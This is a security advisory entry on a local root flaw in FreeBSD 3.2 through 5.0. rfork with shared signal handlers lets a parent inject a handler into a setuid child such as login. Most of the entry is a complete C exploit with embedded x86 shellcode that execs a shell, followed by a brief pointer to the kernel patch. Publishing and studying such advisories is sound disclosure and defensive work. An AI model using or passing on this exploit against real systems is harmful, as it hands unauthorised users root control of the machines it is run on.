COMMAND
kernel
SYSTEMS AFFECTED
FreeBSD 3.2, 3.3, 4.0, 4.1, 4.2, 4.3, 5.0
PROBLEM
Following is based on a Georgi Guninski security advisory #48.
There is local root compromise in FreeBSD 4.3 due to design flaw
which allows injecting signal handlers in other processes.
The problem is rfork(RFPROC|RFSIGSHARE) which shares the signal
handlers. If the child does exec() on a setuid program and then
the parent set a signal handler, the signal handler is replicated
in the child. The address of the signal handler may be in the
environment and after sending a signal to the child our signal
handler gets executed. Examine the code for more information.
Examine the source and don't send mail if you get SEGV.
/*
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
int vv1;
#define MYSIG SIGINT
//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80\x90\x90\x90";
typedef (*PROG)();
extern char **environ;
int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv("vv")))
{
setenv("vv",bsdshell,1);
if(!execle(av[0],"vv",NULL,environ))
{
perror("weird exec");
exit(1);
}
}
printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);
if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
if(!execl("/usr/bin/login","login",0))
{
perror("exec setuid failed");
exit(2);
};
}
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf("done\n");
while(42);
}
FreeBSD xxxxxxx.org 5.0-20010415-CURRENT FreeBSD and
5.0-20010415-CURRENT are affected too...
SOLUTION
As far as we know patches for this problem are commited for both
-current and -stable. The main diff seems to be at:
http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/kern_exec.c.diff?r1=1.107.2.7&r2=1.107.2.8&f=h